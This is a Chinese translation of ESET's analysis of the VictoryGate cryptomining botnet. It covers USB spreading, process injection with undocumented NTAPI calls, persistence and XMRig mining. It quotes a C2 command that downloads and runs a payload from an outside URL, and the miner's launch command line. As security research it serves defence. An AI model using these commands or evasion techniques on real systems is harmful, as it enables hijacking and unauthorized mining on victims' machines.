ESET研究人员近期发现一个新的僵尸网络——VictoryGate。该僵尸网络从2019年5月开始活跃,之后先后出现了3个不同的初始模块变种,此外还有大约10个辅助的payload。初始模块为MSIL/VictoryGate,因此研究人员将其命名为VictoryGate。
该僵尸网络主要由拉美的设备组成,大约占90%。研究人员发现了多个攻击者使用的C2域名,然后用这些域名来监控僵尸网络的活动。研究人员估计僵尸网络的规模至少超过35000个设备。
为了控制僵尸网络,VictoryGate只使用动态DNS服务提供商No-IP处注册的子域名。ESET将恶意子域名报告给了No-IP,目前相关域名已无法解析和访问。
图中可以看到每天连接到C2的IP地址的数量。
图 1. 连接到C2
该僵尸网络的主要活动是门罗币挖矿。但是考虑到僵尸管理员可以向节点发布命令来下载和执行新的辅助payload。
对受害者设备的影响有:
· 高资源利用率。在payload中,恶意代码使用所有可用的线程来执行加密货币挖矿,CPU的使用率大约占90-99%。折会降低设备的运行速度,引发设备过热或引起其他上海。
· USB设备中的文件在连接到受感染的设备时会隐藏。这也是传播机制的一部分。
传播
研究人员确认的唯一的传播向量是通过可移除的设备。受害者在连接到受感染的机器时会接收到一个USB驱动。内容看似是相同的,如图2所示。但原始文件会复制到一个隐藏目录,Windows可执行文件提供了明显的名字。
图 2. 被黑前后默认访问选项
事实上,这些可执行文件是VictoryGate编译的AutoIt脚本,使用的模板如图3所示。需要注意的是build过程会为每个文件加入随机的元数据(metadata),因此2个编译的脚本不会有相同的哈希值。
图 3. VictoryGate 用来编译传播脚本的模板
当用户打开或执行其中的文件时,AutoIt脚本就会打开这些文件和初始模块,如图4所示,这些文件都被VictoryGate隐藏在一个隐藏目录中。
图 4. 传播脚本
初始模块执行后,就会在%AppData%中创建一个新的副本,并且在开始菜单文件夹中找到一个指向该副本的快捷方式,这是在系统重启后获取驻留的机制。
该模块的大小大约为200MB.net,其中含有大量的含有垃圾字节的数组。这样做的目的是绕过一些使用文件大小或其他资源消耗限制来进行扫描的安全产品的绕过。数组中含有XOR或gzip压缩的DLL,会使用.NET Reflection API来进行解密和加载。
DLL自己也含有一个打包的AutoIt编译的脚本和注入到合法Windows进程所需的方法,脚本如图3所示。研究人员发现攻击的有vbc.exe或csc.exe。
注入是通过创建一个中止状态的vbc.exe进程实例来完成的,将内存区去除映射,然后从内存中加载可执行文件。如图5所示,VictoryGate会用不同的未记录的NTAPI函数而非使用常见的API函数WriteProcessMemory来绕过基本的API-hook检测。
图 5. VictoryGate执行的vbc.exe进程注入
注入的AutoIt代理负责于C2服务器通信、下载和执行备用payload,扫描来检测是否有新的USB设备连接,如果有,就用传播脚本来替换文件并隐藏原始文件。
与C2服务器通信
僵尸管理员可以发送命令给节点来添加新的备用payload。这些命令是用定制的协议和不常见的明文端口来发布的。支持的命令有:
下面是一个下载和执行命令的例子:
!|N-I-C-H-O-L-A-S|!|N-I-C-H-O-L-A-S|PuQPQOZOy.exe|N-I-C-H-O-L-A-S|http://gulfup[.]me/i/00711/2czcy5xvh7br.jpeg[N-E-K]
其中URL是要下载到%temp%目录的payload,PuQPQOZOy.exe是一个随机生成的名字会在文件下载成功后分配给文件。
下载的payload
下载的payload也是典型的AutoIt编译的脚本。AutoIt编译器可以将脚本和二进制文件捆绑在一起,形成一个独立的文件。这些二进制文件可以在编译的可执行文件运行时由脚本用AutoIt ShellExecute函数执行。执行后,文件首先会创建一个计划任务,并在开始菜单文件夹中创建另一个快捷方式来实现新二进制文件的驻留。大多数样本中下载的payload的执行如下所示:
图 6. 下载的payload工作流
Payload会尝试注入代码到合法的Windows进程中,这里是将XMRig注入到ucsvc.exe (Boot File Servicing Utility)进程中。
tpmvscugr.exe执行后首先会解密Rijndael加密的数组,解密后得到一个打包的二进制文件——gate.exe。然后用.NET Reflection API调用其方法。
打包的二进制文件并没有执行注入所需的代码,注入ucsvc.exe进程所需的最后一部分代码是从C2下载的DLL文件,该文件最早是保存在注册表中,如图7所示,然后在运行时加载到tpmvscugr.exe 进程中。
图 7. 含有auto.dll的注册表
DLL (auto.dll)文件会使用gzip压缩和AES加密通过网络流量发送。解密的key需要从僵尸主机与C2的通信中恢复。执行执行调用来在执行时加载。其中含有一些典型的RunPE函数来允许gate.exe执行注入。
门罗币挖矿
ucsvc.exe进程中注入XMRig挖矿机后,C2就会传递如下命令使节点开始挖矿:
C:\Windows\system32\ucsvc.exe -algo cryptonight -url :19019 –user CPU_x64 –pass x –retries=50 –retry-pause=1 –keepalive –donate-level=1 –nicehash
命令中的IP地址并不是挖矿池,而是一个Xmrig代理。为了隐藏CPU使用率,一旦用户打开任务管理器,挖矿进程就会中止,但任务管理器关闭后,挖矿活动就会继续。
从收集的数据来看,平均每天有2000台设备在挖矿。假设平均哈希速率为150H/s,那么攻击活动单从该僵尸网络中就获取了至少80个门罗币,价值约6000美元。
总结
VictoryGate是一款使用USB设备来进行传播的新的僵尸网络,主要攻击的是拉美地区的设备。从中可以看出,使用AutoIt和XMRig来开发加密货币挖矿而已软件是近年来的一个趋势。VictoryGate的另一个特征是其使用了一些绕过技术。
本文翻译自:https://www.welivesecurity.com/2020/04/23/eset-discovery-monero-mining-botnet-disrupted/如若转载,请注明原文地址